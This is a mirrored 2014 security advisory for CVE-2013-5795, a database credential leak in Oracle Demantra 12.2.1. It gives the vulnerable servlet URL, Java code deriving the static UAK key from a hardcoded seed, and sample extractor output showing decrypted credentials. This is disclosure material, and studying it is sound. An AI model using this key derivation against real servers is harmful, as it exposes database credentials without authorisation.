Lucene search

K
packetstormOliver GruskovnjakPACKETSTORM:125484
HistoryMar 02, 2014 - 12:00 a.m.

Oracle Demantra 12.2.1 Database Credential Leak

2014-03-0200:00:00
Oliver Gruskovnjak
packetstormsecurity.com
43

EPSS

0.885

Percentile

98.7%

`Vulnerability title: Database Credentials Leak in Oracle Demantra  
CVE: CVE-2013-5795  
Vendor: Oracle  
Product: Demantra  
Affected version: 12.2.1  
Fixed version: 12.2.3  
Reported by: Oliver Gruskovnjak  
  
Details:  
  
Oracle Demantra version 12.2.1 has a backend function that allows anyone  
to retrieve the database instance name and the corresponding credentials.  
  
Exploit:  
  
The target URL is:  
  
http://target.com:8080/demantra/ServerDetailsServlet?UAK=  
  
Now the UAK key is calculated statically:  
  
String encryptedPassword = new String(CryptographicService.encodeHashStringHex("er6Us8wB", "SHA-256"));  
  
StringBuffer tmp = new StringBuffer("sge");  
tmp.append(0);  
tmp.append(encryptedPassword);  
  
uak = new String(CryptographicService.encodeHashStringHex(tmp.toString(), "SHA-256"));  
  
From that information it is possible to create a simple extractor:  
  
pixel:demantra user$ java getUAK  
-=[Oracle Demantra Database Details Retriever ]=-  
  
[+] UAK Key is: 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1  
[+] Retrieved the following encrypted string:  
4,21,3,4,111,36,53,35,36,111,52,53,61,49,62,36,34,49,111,63,34,51,111,97,  
[+] Decrypted string is:  
TEST?test?demantra?orc?1  
  
Together with the authentication bypass this can be exploited unauthenticated as well.  
  
  
  
Further details at:  
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5795/  
  
  
Copyright:  
Copyright (c) Portcullis Computer Security Limited 2014, All rights  
reserved worldwide. Permission is hereby granted for the electronic  
redistribution of this information. It is not to be edited or altered in  
any way without the express written consent of Portcullis Computer  
Security Limited.  
  
Disclaimer:  
The information herein contained may change without notice. Use of this  
information constitutes acceptance for use in an AS IS condition. There  
are NO warranties, implied or otherwise, with regard to this information  
or its use. Any use of this information is at the user's risk. In no  
event shall the author/distributor (Portcullis Computer Security  
Limited) be held liable for any damages whatsoever arising out of or in  
connection with the use or spread of this information.  
  
  
`